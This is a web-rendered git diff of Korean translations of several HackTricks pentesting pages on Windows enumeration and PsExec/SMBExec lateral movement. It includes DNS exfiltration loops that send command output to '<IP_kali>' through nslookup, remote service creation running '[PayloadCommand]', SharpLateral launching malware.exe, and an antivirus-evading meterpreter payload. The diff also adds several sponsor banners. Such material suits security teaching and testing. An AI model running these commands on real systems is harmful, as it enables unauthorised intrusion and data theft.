GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -572,8 +584,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,6 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 시스템 정보
|
||||
|
||||
### 버전 및 패치 정보
|
||||
|
@ -54,7 +62,7 @@ nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
|
|||
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
|
||||
wmic logicaldisk get caption,description,providername
|
||||
```
|
||||
### [디펜더](authentication-credentials-uac-and-efs/#defender)
|
||||
### [Defender](authentication-credentials-uac-and-efs/#defender)
|
||||
|
||||
### 휴지통
|
||||
```bash
|
||||
|
@ -342,7 +350,7 @@ encoding
|
|||
```bash
|
||||
netsh http show urlacl
|
||||
```
|
||||
### 수동 DNS 셸
|
||||
### Manual DNS shell
|
||||
|
||||
**공격자** (Kali)는 다음 두 가지 옵션 중 하나를 사용해야 합니다:
|
||||
```bash
|
||||
|
@ -361,7 +369,7 @@ for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_ka
|
|||
#More complex commands
|
||||
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
|
||||
```
|
||||
출력을 **리다이렉트**하고, 그 후에 **읽을** 수도 있습니다.
|
||||
출력을 **리다이렉트**하고, 그 다음 **읽을** 수도 있습니다.
|
||||
```
|
||||
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
|
||||
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
|
||||
|
@ -409,6 +417,15 @@ wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfil
|
|||
# Execute a script stored in an ADS using PowerShell
|
||||
powershell -ep bypass - < c:\temp:ttt
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -418,8 +435,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,26 +15,30 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## How do they work
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 프로세스는 SMB를 통해 대상 머신에서 원격 실행을 달성하기 위해 서비스 바이너리가 어떻게 조작되는지를 설명하는 단계로 요약됩니다:
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 어떻게 작동하는가
|
||||
|
||||
프로세스는 아래 단계에 설명되어 있으며, SMB를 통해 대상 머신에서 원격 실행을 달성하기 위해 서비스 바이너리가 어떻게 조작되는지를 보여줍니다:
|
||||
|
||||
1. **ADMIN$ 공유에 서비스 바이너리를 SMB를 통해 복사**합니다.
|
||||
2. **원격 머신에 서비스 생성**이 바이너리를 가리키도록 수행됩니다.
|
||||
3. 서비스가 **원격으로 시작**됩니다.
|
||||
4. 종료 시, 서비스가 **중지되고 바이너리가 삭제**됩니다.
|
||||
4. 종료 시, 서비스는 **중지되고 바이너리는 삭제**됩니다.
|
||||
|
||||
### **PsExec 수동 실행 프로세스**
|
||||
|
||||
msfvenom으로 생성되고 Veil을 사용하여 안티바이러스 탐지를 피하기 위해 난독화된 실행 가능한 페이로드가 있다고 가정합니다. 이 페이로드는 'met8888.exe'라는 이름을 가지며, meterpreter reverse_http 페이로드를 나타냅니다. 다음 단계가 수행됩니다:
|
||||
msfvenom으로 생성되고 Veil을 사용하여 안티바이러스 탐지를 피하기 위해 난독화된 실행 가능한 페이로드가 있다고 가정합니다. 'met8888.exe'라는 이름의 meterpreter reverse_http 페이로드를 나타내며, 다음 단계가 수행됩니다:
|
||||
|
||||
* **바이너리 복사**: 실행 파일은 명령 프롬프트에서 ADMIN$ 공유로 복사되지만, 파일 시스템의 어디에나 배치되어 숨겨질 수 있습니다.
|
||||
* **서비스 생성**: Windows `sc` 명령을 사용하여 원격으로 Windows 서비스를 쿼리, 생성 및 삭제할 수 있으며, 업로드된 바이너리를 가리키는 "meterpreter"라는 이름의 서비스가 생성됩니다.
|
||||
* **서비스 시작**: 마지막 단계는 서비스를 시작하는 것으로, 바이너리가 진정한 서비스 바이너리가 아니기 때문에 예상 응답 코드를 반환하지 못해 "타임아웃" 오류가 발생할 가능성이 높습니다. 이 오류는 바이너리 실행이 주요 목표이므로 중요하지 않습니다.
|
||||
* **서비스 시작**: 마지막 단계는 서비스를 시작하는 것으로, 바이너리가 진정한 서비스 바이너리가 아니기 때문에 예상 응답 코드를 반환하지 않아 "타임아웃" 오류가 발생할 가능성이 높습니다. 이 오류는 바이너리 실행이 주요 목표이므로 중요하지 않습니다.
|
||||
|
||||
Metasploit 리스너를 관찰하면 세션이 성공적으로 시작되었음을 알 수 있습니다.
|
||||
|
||||
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
||||
[sc 명령에 대해 더 알아보기](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
||||
|
||||
자세한 단계는 다음에서 확인하세요: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
|
@ -50,6 +54,10 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,13 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## How it Works
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Smbexec**는 Windows 시스템에서 원격 명령 실행을 위해 사용되는 도구로, **Psexec**와 유사하지만 대상 시스템에 악성 파일을 배치하지 않습니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
### Key Points about **SMBExec**
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
- 명령을 cmd.exe (%COMSPEC%)를 통해 실행하기 위해 대상 머신에 임시 서비스를 생성하여 작동합니다(예: "BTOBTO"), 이 과정에서 이진 파일을 떨어뜨리지 않습니다.
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## 작동 방식
|
||||
|
||||
**Smbexec**는 Windows 시스템에서 원격 명령 실행에 사용되는 도구로, **Psexec**와 유사하지만 대상 시스템에 악성 파일을 배치하지 않습니다.
|
||||
|
||||
### **SMBExec**에 대한 주요 사항
|
||||
|
||||
- 명령을 cmd.exe (%COMSPEC%)를 통해 실행하기 위해 대상 머신에 임시 서비스를 생성하여 작동합니다(예: "BTOBTO"), 이진 파일을 드롭하지 않습니다.
|
||||
- 은밀한 접근 방식에도 불구하고, 실행된 각 명령에 대한 이벤트 로그를 생성하여 비대화형 "셸"의 형태를 제공합니다.
|
||||
- **Smbexec**를 사용하여 연결하는 명령은 다음과 같습니다:
|
||||
```bash
|
||||
|
@ -29,9 +37,9 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
|||
```
|
||||
### 이진 파일 없이 명령 실행
|
||||
|
||||
- **Smbexec**는 서비스 binPaths를 통해 직접 명령을 실행할 수 있게 하여, 대상에 물리적 이진 파일이 필요 없도록 합니다.
|
||||
- **Smbexec**는 서비스 binPaths를 통해 직접 명령 실행을 가능하게 하여, 대상에 물리적 이진 파일이 필요하지 않습니다.
|
||||
- 이 방법은 Windows 대상에서 일회성 명령을 실행하는 데 유용합니다. 예를 들어, Metasploit의 `web_delivery` 모듈과 결합하면 PowerShell을 대상으로 하는 역 Meterpreter 페이로드를 실행할 수 있습니다.
|
||||
- cmd.exe를 통해 제공된 명령을 실행하도록 binPath가 설정된 원격 서비스를 공격자의 머신에서 생성함으로써, 서비스 응답 오류가 발생하더라도 페이로드를 성공적으로 실행하고 Metasploit 리스너와의 콜백 및 페이로드 실행을 달성할 수 있습니다.
|
||||
- cmd.exe를 통해 제공된 명령을 실행하도록 binPath가 설정된 원격 서비스를 공격자의 머신에서 생성함으로써, 서비스 응답 오류가 발생하더라도 Metasploit 리스너와 함께 콜백 및 페이로드 실행을 성공적으로 수행할 수 있습니다.
|
||||
|
||||
### 명령 예시
|
||||
|
||||
|
@ -40,11 +48,19 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
|||
sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"
|
||||
sc start [ServiceName]
|
||||
```
|
||||
자세한 내용은 [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)를 확인하세요.
|
||||
FOr further details check [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
## References
|
||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -55,7 +71,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,24 +15,31 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
## How do they work
|
||||
|
||||
프로세스는 아래 단계에 설명되어 있으며, SMB를 통해 대상 머신에서 원격 실행을 달성하기 위해 서비스 바이너리가 어떻게 조작되는지를 보여줍니다:
|
||||
|
||||
1. **ADMIN$ 공유에 서비스 바이너리를 SMB를 통해 복사**합니다.
|
||||
2. **원격 머신에서 서비스 생성**은 바이너리를 가리키도록 수행됩니다.
|
||||
2. **원격 머신에 서비스 생성**은 바이너리를 가리키도록 수행됩니다.
|
||||
3. 서비스가 **원격으로 시작**됩니다.
|
||||
4. 종료 시, 서비스는 **중지되고 바이너리는 삭제**됩니다.
|
||||
|
||||
### **PsExec 수동 실행 프로세스**
|
||||
|
||||
msfvenom으로 생성되고 Veil을 사용하여 안티바이러스 탐지를 피하기 위해 난독화된 실행 가능한 페이로드가 있다고 가정합니다. 이 페이로드는 'met8888.exe'라는 이름을 가지며, meterpreter reverse_http 페이로드를 나타냅니다. 다음 단계가 수행됩니다:
|
||||
msfvenom으로 생성되고 Veil을 사용하여 안티바이러스 탐지를 피하기 위해 난독화된 실행 가능한 페이로드가 있다고 가정합니다. 'met8888.exe'라는 이름의 meterpreter reverse_http 페이로드를 나타내며, 다음 단계가 수행됩니다:
|
||||
|
||||
- **바이너리 복사**: 실행 파일은 명령 프롬프트에서 ADMIN$ 공유로 복사되지만, 파일 시스템의 어디에나 배치되어 숨겨질 수 있습니다.
|
||||
- **바이너리 복사**: 실행 파일은 명령 프롬프트에서 ADMIN$ 공유로 복사되지만, 숨기기 위해 파일 시스템의 아무 곳에나 배치될 수 있습니다.
|
||||
|
||||
- **서비스 생성**: Windows `sc` 명령을 사용하여 원격으로 Windows 서비스를 쿼리, 생성 및 삭제할 수 있으며, 업로드된 바이너리를 가리키는 "meterpreter"라는 이름의 서비스가 생성됩니다.
|
||||
|
||||
- **서비스 시작**: 마지막 단계는 서비스를 시작하는 것으로, 바이너리가 진정한 서비스 바이너리가 아니기 때문에 예상 응답 코드를 반환하지 못해 "타임아웃" 오류가 발생할 가능성이 높습니다. 이 오류는 바이너리 실행이 주 목표이므로 중요하지 않습니다.
|
||||
- **서비스 시작**: 마지막 단계는 서비스를 시작하는 것으로, 바이너리가 진정한 서비스 바이너리가 아니기 때문에 "타임아웃" 오류가 발생할 가능성이 높습니다. 이 오류는 바이너리 실행이 주요 목표이므로 중요하지 않습니다.
|
||||
|
||||
Metasploit 리스너를 관찰하면 세션이 성공적으로 시작되었음을 알 수 있습니다.
|
||||
|
||||
|
@ -52,6 +59,13 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
|
||||
지금 바로 접근하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -61,8 +75,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 **팔로우**하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue